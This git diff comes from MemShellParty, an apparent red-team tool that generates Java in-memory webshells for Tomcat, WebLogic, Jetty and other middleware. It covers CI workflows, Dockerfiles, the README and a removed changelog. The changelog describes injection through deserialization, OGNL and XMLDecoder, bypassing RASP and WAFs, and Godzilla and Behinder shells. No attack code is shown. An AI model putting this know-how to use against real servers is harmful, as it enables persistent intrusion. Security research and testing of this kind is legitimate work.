- middleware: "jetty"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "jbossas"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
|
||||||
- middleware: "jbosseap"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
|
||||||
- middleware: "wildfly"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "glassfish"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "resin"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
|
||||||
- middleware: "payara"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "websphere"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
|
||||||
- middleware: "websphere7"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
|
||||||
- middleware: "weblogic"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
|
||||||
- middleware: "springwebmvc"
|
|
||||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
|
||||||
- middleware: "springwebflux"
|
|
||||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
name: ${{ matrix.cases.middleware }}
|
|
||||||
needs: [ unit-test ]
|
|
||||||
steps:
|
|
||||||
- name: Checkout
|
|
||||||
uses: actions/checkout@v4
|
|
||||||
|
|
||||||
- name: Setup Java
|
|
||||||
uses: actions/setup-java@v4
|
|
||||||
with:
|
|
||||||
distribution: 'temurin'
|
|
||||||
java-version: 17
|
|
||||||
|
|
||||||
- name: Setup Gradle
|
|
||||||
uses: gradle/actions/setup-gradle@v4
|
|
||||||
|
|
||||||
- name: Prepare for Integration Test
|
|
||||||
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
|
||||||
|
|
||||||
- name: Integration Test with gradle
|
|
||||||
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
|
|
||||||
@@ -0,0 +1,35 @@
|
|||||||
|
name: Unit-Test
|
||||||
|
|
||||||
|
on:
|
||||||
|
push:
|
||||||
|
branches:
|
||||||
|
- '**'
|
||||||
|
paths:
|
||||||
|
- 'generator/**'
|
||||||
|
|
||||||
|
concurrency:
|
||||||
|
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||||
|
cancel-in-progress: true
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
unit-test:
|
||||||
|
name: UniteTest
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- name: Checkout
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Setup Java
|
||||||
|
uses: actions/setup-java@v4
|
||||||
|
with:
|
||||||
|
distribution: 'temurin'
|
||||||
|
java-version: 17
|
||||||
|
|
||||||
|
- name: Setup Gradle
|
||||||
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Generator Unit Test with Gradle
|
||||||
|
run: ./gradlew :generator:test
|
||||||
|
|
||||||
|
- name: Boot Unit Test with Gradle
|
||||||
|
run: ./gradlew :boot:test
|
||||||
@@ -0,0 +1,3 @@
|
|||||||
|
[submodule "libs"]
|
||||||
|
path = libs
|
||||||
|
url = https://github.com/ReaJason/javaweb-sources.git
|
||||||
@@ -1,292 +0,0 @@
|
|||||||
# Changelog
|
|
||||||
|
|
||||||
All notable changes to this project will be documented in this file.
|
|
||||||
|
|
||||||
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
|
||||||
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
|
||||||
|
|
||||||
## [v2.0.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.10.0) - 2025-08-13
|
|
||||||
|
|
||||||
> [!WARNING]
|
|
||||||
> 为了区分内存马和探测马,部分类名和接口做了调整,如果使用了
|
|
||||||
> SDK,需要参考:[examples/memshell-party-maven-example](https://github.com/ReaJason/MemShellParty/tree/master/examples/memshell-party-maven-example)
|
|
||||||
> 进行调整。
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
- **支持探测马生成** (#71 by @ReaJason,部分代码参考 jeg 与 java-chains)
|
|
||||||
- Web 添加关于页面
|
|
||||||
- 支持 H2 JDBC 打包方式(DataEase 漏洞注入)
|
|
||||||
- 支持 XMLDecoder 打包方式(WebLogic 漏洞注入)
|
|
||||||
- 支持 OGNL SpringUtils 打包方式(Confluence 漏洞注入)
|
|
||||||
|
|
||||||
### Fixed
|
|
||||||
|
|
||||||
- 修复 SpringWebMVC Agent 无法点击生成按钮 (#77)
|
|
||||||
- 修复 Spring Boot 对于 no static resource 老是抛出错误日志
|
|
||||||
- 修复 TongWeb8 context 获取错误导致注入失败的问题
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
- **简化 Server 类型选择,例如 JBossEAP7 和 WildFly 选择 Undertow** (by @zema1 #74)
|
|
||||||
- **去除注入器中静态代码块调用构造方法,减少注入动作的触发**(可能会导致部分 `Class.forName("name", true, loader)`
|
|
||||||
的场景注入失败,后续会添加字节码 Web 工具进行这块的处理)
|
|
||||||
- 简化 Tomcat AgentInjector 的代码
|
|
||||||
- 前端 module 分包减少单个 js 体积,加快首次加载速度
|
|
||||||
- 移除 memshell-party-bom 模块,改用
|
|
||||||
gradle/libs.versions.toml,参考:[Use Version Catalogs to Centralize Dependency Versions](https://docs.gradle.org/current/userguide/best_practices_dependencies.html#use_version_catalogs)
|
|
||||||
- 使用 build-logic 替代
|
|
||||||
buildSrc,加快构建速度,参考:[Favor build-logic Composite Builds for Build Logic](https://docs.gradle.org/current/userguide/best_practices_general.html#favor_composite_builds)
|
|
||||||
- 从 generator 模块中分离 payload 生成代码并合并 deserialize 模块为 packer 模块
|
|
||||||
- 使用 i18 扁平化 key,并使用 namespace 区分 MemShell 和 ProbeShell
|
|
||||||
的字段,参考:[RSSNext/Folo/zh-CN.json](https://github.com/RSSNext/Folo/blob/dev/locales/common/zh-CN.json)
|
|
||||||
- 升级 gradle-maven-publish-plugin 插件版本,简化打包指令
|
|
||||||
- 统一生成内存马类过程中抛出异常为 GenerationException,并单独设置 GlobalExceptionHandler
|
|
||||||
|
|
||||||
**Full Changelog:** [v1.10.0...v2.0.0](https://github.com/ReaJason/MemShellParty/compare/v1.10.0...v2.0.0)
|
|
||||||
|
|
||||||
## [v1.10.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.10.0) - 2025-06-07
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
- 添加新的 JSP 打包方式(直接使用 defineClass 进行注入)(by @zema1 #67)
|
|
||||||
- 支持 Tomcat 和 JBossAS ProxyValve 内存马(通过动态代理将 StandardPipeline 的第一个 valve 进行包装注入自定义逻辑)
|
|
||||||
|
|
||||||
### Fixed
|
|
||||||
|
|
||||||
- 修复哥斯拉无法使用最新版连接
|
|
||||||
- 修复 TongWeb8 Valve 未适配
|
|
||||||
- 修复移动端 UI 输入框 placeholder 字体过大
|
|
||||||
- 修复移动端 UI 类名复制按钮超出卡片范围
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
- 修改 Valve 和 Listener 字节码修改时机,改为生成时再进行修改,方便自定义内存马生成
|
|
||||||
- 合并 memshell 与 memshell-jdk8 模块,方便维护
|
|
||||||
- UI 使用新的 shadcn/ui 提供的 Zinc 主题配置
|
|
||||||
- 将所有 Shell 捕获异常从 Exception 改为 Throwable
|
|
||||||
- 简化 Shell base64 方法代码
|
|
||||||
- Gradle 更新至 8.14.2
|
|
||||||
- 参考 [General Gradle Best Practices](https://docs.gradle.org/current/userguide/best_practices_general.html),将构建脚本改为
|
|
||||||
Kotlin DSL
|
|
||||||
|
|
||||||
**Full Changelog:** [v1.9.0...v1.10.0](https://github.com/ReaJason/MemShellParty/compare/v1.9.0...v1.10.0)
|
|
||||||
|
|
||||||
## [v1.9.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.9.0) - 2025-05-28
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
- 支持 TongWeb8 内存马生成 by @ReaJason
|
|
||||||
- 通过 context 获取 webAppClassLoader,不再依赖 Thread.currentThread().getContextClassLoader()
|
|
||||||
为请求线程,参考:[任意类加载环境下注入内存马](https://reajason.eu.org/writing/whichclassloaderforshell/)
|
|
||||||
- 全面支持使用 ASM 生成 Agent(仅需 92.5 KB),并且可选 JDKAttacher 与 JREAttacher
|
|
||||||
- 支持命令执行自定义实现类,RuntimeExec or ForkAndExec
|
|
||||||
|
|
||||||
### Fixed
|
|
||||||
|
|
||||||
- 修复 Apusic Listener 由于 response 获取错误导致不可用
|
|
||||||
- 修复 Jakarta WebSocket 无法注入
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
- Godzilla WebSocket 默认使用 AES_BASE64 加密器,支持使用 [GzWebsocket](https://github.com/xsshim/GzWebsocket) 插件进行连接。
|
|
||||||
- Gradle、Web 项目依赖更新
|
|
||||||
- UI 生成界面默认勾选缩小字节码
|
|
||||||
- UI 优化手机端选项布局,单行显示每个输入框
|
|
||||||
- UI 使用紧凑模式,隐藏非常用字段简化操作路径
|
|
||||||
- 提取公共 Tailwind CSS 类名,简化表单组件代码
|
|
||||||
- yup 替代 zod 减少打包体积,并将自定义表单验证融合到 react-hook-form 中优化 UX
|
|
||||||
- 重构 Shell Generator 代码
|
|
||||||
|
|
||||||
**Full Changelog:** [v1.8.0...v1.9.0](https://github.com/ReaJason/MemShellParty/compare/v1.8.0...v1.9.0)
|
|
||||||
|
|
||||||
## [v1.8.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.8.0) - 2025-05-14
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
- 支持普元中间件内存马生成(only 6.5 版本)by @ReaJason(#60)
|
|
||||||
- 支持哥斯拉 WebSocket 内存马生成与测试
|
|
||||||
- 添加 Groovy 通用恶意类加载打包方式(用于测试 Jenkins 脚本执行)
|
|
||||||
- 命令执行支持加密器,双 Base64 测试绕过 WAF 安全设备
|
|
||||||
|
|
||||||
### Fixed
|
|
||||||
|
|
||||||
- 修复 Jetty 高版本中 ee8 ~ ee10 无法注入(#61)
|
|
||||||
- 修复 Spring Boot 下类加载的原因导致的 Tomcat/Jetty/Undertow 部分内存马注入失败
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
- 命令执行改为反射调用 forkAndExec 以绕过 RASP(JDK7+)
|
|
||||||
- 获取所有线程代码改为 `Thread.getAllStackTraces().keySet()`,高版本 JDK 不再需要 bypass module
|
|
||||||
- 优化 boot 在启动时即触发 Server 的内存马生成注册,加速第一次请求访问
|
|
||||||
|
|
||||||
**Full Changelog:** [v1.7.0...v1.8.0](https://github.com/ReaJason/MemShellParty/compare/v1.7.0...v1.8.0)
|
|
||||||
|
|
||||||
## [v1.7.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.7.0) - 2025-04-06
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
- 支持发布到 MavenCentral,可通过引入依赖使用生成 API by @ReaJason(#41)
|
|
||||||
- 支持 CC3、CC4 反序列化 payload 打包方式
|
|
||||||
- 支持随机参数生成与默认选项(#50)
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
- 去除代码混淆相关代码
|
|
||||||
- 为了更好地在 MavenCentral 展示,重命名部分模块
|
|
||||||
- 使用 Jackson 代替 Fastjson 降低 boot 打包体积
|
|
||||||
- 移除 commons-codec 降低 boot 打包体积
|
|
||||||
- 升级 shadcn/ui 所有 component 代码
|
|
||||||
|
|
||||||
**Full Changelog:** [v1.6.0...v1.7.0](https://github.com/ReaJason/MemShellParty/compare/v1.6.0...v1.7.0)
|
|
||||||
|
|
||||||
## [v1.6.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.6.0) - 2025-03-30
|
|
||||||
|
|
||||||
> 做代码生成以及代码混淆真是一件需要耐心的事情
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
- 支持自定义内存马生成 by @ReaJason(#49)
|
|
||||||
- 支持命令回显 ASM Agent 内存马 by @ReaJason(#51)
|
|
||||||
- 支持简易的代码混淆 by @ReaJason(#13)
|
|
||||||
- 支持自动发布 DEV 分支代码 CD
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
- 简化 Jetty 获取 Context 代码
|
|
||||||
- 优化 Dockerfile 减小镜像体积
|
|
||||||
|
|
||||||
**Full Changelog:** [v1.5.0...v1.6.0](https://github.com/ReaJason/MemShellParty/compare/v1.5.0...v1.6.0)
|
|
||||||
|
|
||||||
## [v1.5.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.5.0) - 2025-03-01
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
- 支持 NeoreGeorg 内存马生成 by @ReaJason
|
|
||||||
- 支持 UI 显示更新按钮跳转到 GitHub Release 界面
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
- 简化 Valve 内存马代码
|
|
||||||
- 升级 Gradle 8.13
|
|
||||||
|
|
||||||
**Full Changelog:** [v1.4.0...v1.5.0](https://github.com/ReaJason/MemShellParty/compare/v1.4.0...v1.5.0)
|
|
||||||
|
|
||||||
## [v1.4.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.4.0) - 2025-02-26
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
- 支持缩小字节码 (移除调试信息) by @ReaJason
|
|
||||||
- 支持 Tomcat Jakarta WebSocket
|
|
||||||
|
|
||||||
### Fixed
|
|
||||||
|
|
||||||
- 修复自定义注入器类名不起作用
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
- 优化跨平台开发体验,将 bash 脚本改为 js 脚本
|
|
||||||
|
|
||||||
**Full Changelog:** [v1.3.2...v1.4.0](https://github.com/ReaJason/MemShellParty/compare/v1.3.2...v1.4.0)
|
|
||||||
|
|
||||||
## [v1.3.2](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.2) - 2025-02-25
|
|
||||||
|
|
||||||
### Fixed
|
|
||||||
|
|
||||||
- 修复 Tomcat WebSocket 注入报错,无法工作
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
- 添加 foojay-toolchains 插件,支持 Dockerfile 构建时自动下载缺失的 JDK 版本
|
|
||||||
- 优化构建 Spring Boot 的 Dockerfile,最小权限原则
|
|
||||||
- 支持一键构建的 Dockerfile,适配需要 NGINX 反代的场景
|
|
||||||
- 代码重构支持一处注册所有 Server 的 Shell 配置
|
|
||||||
|
|
||||||
**Full Changelog:** [v1.3.1...v1.3.2](https://github.com/ReaJason/MemShellParty/compare/v1.3.1...v1.3.2)
|
|
||||||
|
|
||||||
## [v1.3.1](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.1) - 2025-02-20
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
- UI 中打包配置中添加 Loading 状态
|
|
||||||
|
|
||||||
### Fixed
|
|
||||||
|
|
||||||
- 修复 UI 在修改目标服务时,挂载类型有时未跟着变化导致生成失败
|
|
||||||
|
|
||||||
**Full Changelog:** [v1.3.0...v1.3.1](https://github.com/ReaJason/MemShellParty/compare/v1.3.0...v1.3.1)
|
|
||||||
|
|
||||||
## [v1.3.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.0) - 2025-02-20
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
- 支持 Hessian、Hessian2 反序列化,XSLT 链 (#36) by @ReaJason
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
- 移除无用依赖,JavaSocket,Gson
|
|
||||||
- Gradle 升级至 8.12.1
|
|
||||||
- 更新 TestContainers 和 Junit 的版本
|
|
||||||
|
|
||||||
### Fixed
|
|
||||||
|
|
||||||
- 修复 UI 在仅修改打包方式重新生成时,多选 payload 下拉框置空,且 payload 没有变为最新的。
|
|
||||||
|
|
||||||
**Full Changelog:** [v1.2.1...v1.3.0](https://github.com/ReaJason/MemShellParty/compare/v1.2.1...v1.3.0)
|
|
||||||
|
|
||||||
## [v1.2.1](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.1) - 2025-02-19
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
- UI 增强手机端响应式,增强 i18n 显示 (#39)
|
|
||||||
|
|
||||||
### Fixed
|
|
||||||
|
|
||||||
- 修复 CB110 版本 serialVersionUID 修改失效导致无法利用成功
|
|
||||||
|
|
||||||
**Full Changelog:** [v1.2.0...v1.2.1](https://github.com/ReaJason/MemShellParty/compare/v1.2.0...v1.2.1)
|
|
||||||
|
|
||||||
## [v1.2.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.0) - 2025-02-19
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
- 支持 AntSword 内存马生成 by @ReaJason
|
|
||||||
- 添加 Java 反序列化其他 CB 版本 Payload 生成
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
- CI 分离单独测试 was7 集成测试,大幅度减少测试时间
|
|
||||||
- 部分 UI 调整
|
|
||||||
|
|
||||||
### Fixed
|
|
||||||
|
|
||||||
- 修复随机类名如果为保留字时会无法加载
|
|
||||||
|
|
||||||
**Full Changelog:** [v1.1.0...v1.2.0](https://github.com/ReaJason/MemShellParty/compare/v1.1.0...v1.2.0)
|
|
||||||
|
|
||||||
## [v1.1.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.1.0) - 2025-02-15
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
- 支持 Suo5 内存马生成 by @ReaJason
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
- 升级 TailWind CSS v4
|
|
||||||
- 分离 i18n EN 和 ZH 为两个 json 文件,方便维护以及 VSCode 插件识别
|
|
||||||
|
|
||||||
### Fixed
|
|
||||||
|
|
||||||
- 修复 sonner 颜色主题未随着修改而变化
|
|
||||||
- 修复 IDEA 本地构建 version 一直是 unspecified
|
|
||||||
|
|
||||||
**Full Changelog:** [v1.0.0...v1.1.0](https://github.com/ReaJason/MemShellParty/compare/v1.0.0...v1.1.0)
|
|
||||||
|
|
||||||
## [v1.0.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.0.0) - 2025-01-03
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
- 支持 Tomcat、Jetty、WebLogic、GlassFish、JBoss、Resin 等 18 个中间件或框架的应用内存马
|
|
||||||
- 支持 Filter、Servlet、Listener、NettyHandler、Agent 等常见内存马挂载类型
|
|
||||||
- 支持哥斯拉、冰蝎、命令执行功能
|
|
||||||
- 支持 Base64、Jar、JSP、常见表达式、常见模板引擎、反序列化等打包方式
|
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
FROM buildpack-deps:bullseye-scm AS source
|
FROM --platform=$BUILDPLATFORM buildpack-deps:bullseye-scm AS source
|
||||||
|
|
||||||
WORKDIR /usr/src
|
WORKDIR /usr/src
|
||||||
|
|
||||||
@@ -6,7 +6,7 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
|
|||||||
rm -rf vul integration-test tools
|
rm -rf vul integration-test tools
|
||||||
|
|
||||||
# https://hub.docker.com/r/oven/bun
|
# https://hub.docker.com/r/oven/bun
|
||||||
FROM oven/bun:1.2.19 AS frontend
|
FROM --platform=$BUILDPLATFORM oven/bun:1.3.6 AS frontend
|
||||||
|
|
||||||
ARG ROUTE_ROOT_PATH="/"
|
ARG ROUTE_ROOT_PATH="/"
|
||||||
ARG CONTEXT_PATH=""
|
ARG CONTEXT_PATH=""
|
||||||
@@ -14,9 +14,9 @@ ARG CONTEXT_PATH=""
|
|||||||
WORKDIR /usr/src/web
|
WORKDIR /usr/src/web
|
||||||
|
|
||||||
ENV VITE_APP_API_URL=${CONTEXT_PATH} \
|
ENV VITE_APP_API_URL=${CONTEXT_PATH} \
|
||||||
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}
|
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}/ui
|
||||||
|
|
||||||
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lockb /usr/src/web/
|
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lock /usr/src/web/source.config.ts /usr/src/web/
|
||||||
|
|
||||||
RUN bun install --frozen-lockfile
|
RUN bun install --frozen-lockfile
|
||||||
|
|
||||||
@@ -25,7 +25,7 @@ COPY --from=source /usr/src/web /usr/src/web
|
|||||||
RUN bun run build
|
RUN bun run build
|
||||||
|
|
||||||
# https://hub.docker.com/_/eclipse-temurin/tags?name=17.
|
# https://hub.docker.com/_/eclipse-temurin/tags?name=17.
|
||||||
FROM eclipse-temurin:17.0.15_6-jdk-noble AS backend
|
FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.17_10-jdk-noble AS backend
|
||||||
|
|
||||||
WORKDIR /usr/src
|
WORKDIR /usr/src
|
||||||
|
|
||||||
@@ -35,7 +35,7 @@ COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/res
|
|||||||
|
|
||||||
RUN ./gradlew :boot:bootjar -x test
|
RUN ./gradlew :boot:bootjar -x test
|
||||||
|
|
||||||
FROM eclipse-temurin:17.0.15_6-jre-noble
|
FROM eclipse-temurin:17.0.17_10-jre-noble
|
||||||
|
|
||||||
LABEL authors="ReaJason<[email protected]>"
|
LABEL authors="ReaJason<[email protected]>"
|
||||||
|
|
||||||
|
|||||||
@@ -1,11 +1,6 @@
|
|||||||
<h1 align="center">MemShellParty</h1>
|
<h1 align="center">MemShellParty</h1>
|
||||||
|
|
||||||
<p align="center">中文 | <a href="./docs/README.en.md">English</a><br></p>
|
<p align="center">中文 | <a href="./docs/README.en.md">English</a><br></p>
|
||||||
<div align="center">
|
|
||||||
|
|
||||||
[](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
|
||||||
[](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
|
|
||||||
</div>
|
|
||||||
|
|
||||||
|
|
||||||
<div align="center">
|
<div align="center">
|
||||||
@@ -17,7 +12,7 @@
|
|||||||
<div align="center">
|
<div align="center">
|
||||||
|
|
||||||
[](https://t.me/memshell)
|
[](https://t.me/memshell)
|
||||||
[](https://party.memshell.news)
|
[](https://party.mem.mk)
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
@@ -29,9 +24,12 @@
|
|||||||
|
|
||||||
MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。
|
MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。
|
||||||
|
|
||||||

|
<p align="center">
|
||||||
|
<img src="assets/normal_memshell.png" alt="normal_memshell" width="24%">
|
||||||

|
<img src="assets/agent_memshell.png" alt="agent_memshell" width="24%">
|
||||||
|
<img src="assets/dnslog_probe.png" alt="dnslog_probe" width="24%">
|
||||||
|
<img src="assets/about_page.png" alt="about_page" width="24%">
|
||||||
|
</p>
|
||||||
|
|
||||||
## 主要特性
|
## 主要特性
|
||||||
|
|
||||||
@@ -49,7 +47,7 @@ MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工
|
|||||||
|
|
||||||
### 使用前必看
|
### 使用前必看
|
||||||
|
|
||||||
[Java 服务简介.md](./docs/ServerIntro.md),用于了解 MemShellParty
|
[Java 服务简介.md](web/content/docs/server-intro.mdx),用于了解 MemShellParty
|
||||||
中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。
|
中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。
|
||||||
|
|
||||||
探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为
|
探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为
|
||||||
@@ -59,9 +57,9 @@ GlassFish,因为它使用的是 GlassFish 进行的二开)。
|
|||||||
|
|
||||||
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
|
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
|
||||||
|
|
||||||
可访问(master 分支) [https://party.memshell.news](https://party.memshell.news)。每次 Release 都会自动部署最新的镜像。
|
可访问(master 分支) [https://party.mem.mk](https://party.mem.mk)。每次 Release 都会自动部署最新的镜像。
|
||||||
|
|
||||||
对于正在开发的功能可访问(dev 分支) [https://dev-party.memshell.news](https://dev-party.memshell.news) 抢先体验。
|
对于正在开发的功能可访问(dev 分支) [https://dev-party.mem.mk](https://dev-party.mem.mk) 抢先体验。
|
||||||
|
|
||||||
### 本地部署(推荐)
|
### 本地部署(推荐)
|
||||||
|
|
||||||
@@ -80,23 +78,6 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/
|
|||||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
||||||
```
|
```
|
||||||
|
|
||||||
镜像是无状态的,在需要更新最新镜像时,直接移除新建就好了
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# 移除之前部署的
|
|
||||||
docker rm -f memshell-party
|
|
||||||
|
|
||||||
# 使用之前的部署命令重新部署(会自动拉取最新的镜像部署)
|
|
||||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
|
|
||||||
```
|
|
||||||
|
|
||||||
## User Guide
|
|
||||||
|
|
||||||
1. [适配情况](./docs/Compatibility.md)
|
|
||||||
2. [本地构建](./docs/BuildOnLocal.md)
|
|
||||||
3. [SDK 集成](./examples/memshell-party-maven-example)
|
|
||||||
4. [代码贡献](./CONTRIBUTING.md)
|
|
||||||
|
|
||||||
## Special Thanks
|
## Special Thanks
|
||||||
|
|
||||||
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
|
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
|
||||||
|
|||||||
|
Before Width: | Height: | Size: 130 KiB |
|
Before Width: | Height: | Size: 265 KiB |
|
After Width: | Height: | Size: 92 KiB |
|
After Width: | Height: | Size: 136 KiB |
|
After Width: | Height: | Size: 236 KiB |
@@ -2,7 +2,7 @@ FROM python:3.12-slim
|
|||||||
|
|
||||||
WORKDIR /app
|
WORKDIR /app
|
||||||
|
|
||||||
RUN pip install requests
|
RUN pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple/
|
||||||
|
|
||||||
COPY neoreg.py .
|
COPY neoreg.py .
|
||||||
|
|
||||||
|
After Width: | Height: | Size: 268 KiB |
@@ -1,4 +1,4 @@
|
|||||||
FROM eclipse-temurin:17.0.14_7-jre-noble
|
FROM eclipse-temurin:17.0.17_10-jre-noble
|
||||||
|
|
||||||
LABEL authors="ReaJason<[email protected]>"
|
LABEL authors="ReaJason<[email protected]>"
|
||||||
|
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
plugins {
|
plugins {
|
||||||
id("java")
|
id("java")
|
||||||
id("org.springframework.boot") version "3.5.3"
|
id("org.springframework.boot") version "3.5.8"
|
||||||
id("io.spring.dependency-management") version "1.1.7"
|
id("io.spring.dependency-management") version "1.1.7"
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -21,9 +21,10 @@ configurations {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
extra["byte-buddy.version"] = libs.versions.byte.buddy.get()
|
||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
implementation(project(":generator")) {
|
implementation(project(":generator")) {
|
||||||
exclude(group = "org.apache.tomcat", module = "tomcat-catalina")
|
|
||||||
exclude(group = "commons-logging", module = "commons-logging")
|
exclude(group = "commons-logging", module = "commons-logging")
|
||||||
}
|
}
|
||||||
implementation(project(":packer")) {
|
implementation(project(":packer")) {
|
||||||
@@ -34,7 +35,7 @@ dependencies {
|
|||||||
exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat")
|
exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat")
|
||||||
}
|
}
|
||||||
implementation(libs.commons.lang3)
|
implementation(libs.commons.lang3)
|
||||||
implementation("org.springframework.boot:spring-boot-starter-jetty")
|
implementation("org.springframework.boot:spring-boot-starter-undertow")
|
||||||
compileOnly("org.projectlombok:lombok")
|
compileOnly("org.projectlombok:lombok")
|
||||||
developmentOnly("org.springframework.boot:spring-boot-devtools")
|
developmentOnly("org.springframework.boot:spring-boot-devtools")
|
||||||
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
|
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
|
||||||
|
|||||||
@@ -0,0 +1,24 @@
|
|||||||
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import org.springframework.asm.ClassReader;
|
||||||
|
import org.springframework.cglib.core.ClassNameReader;
|
||||||
|
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||||
|
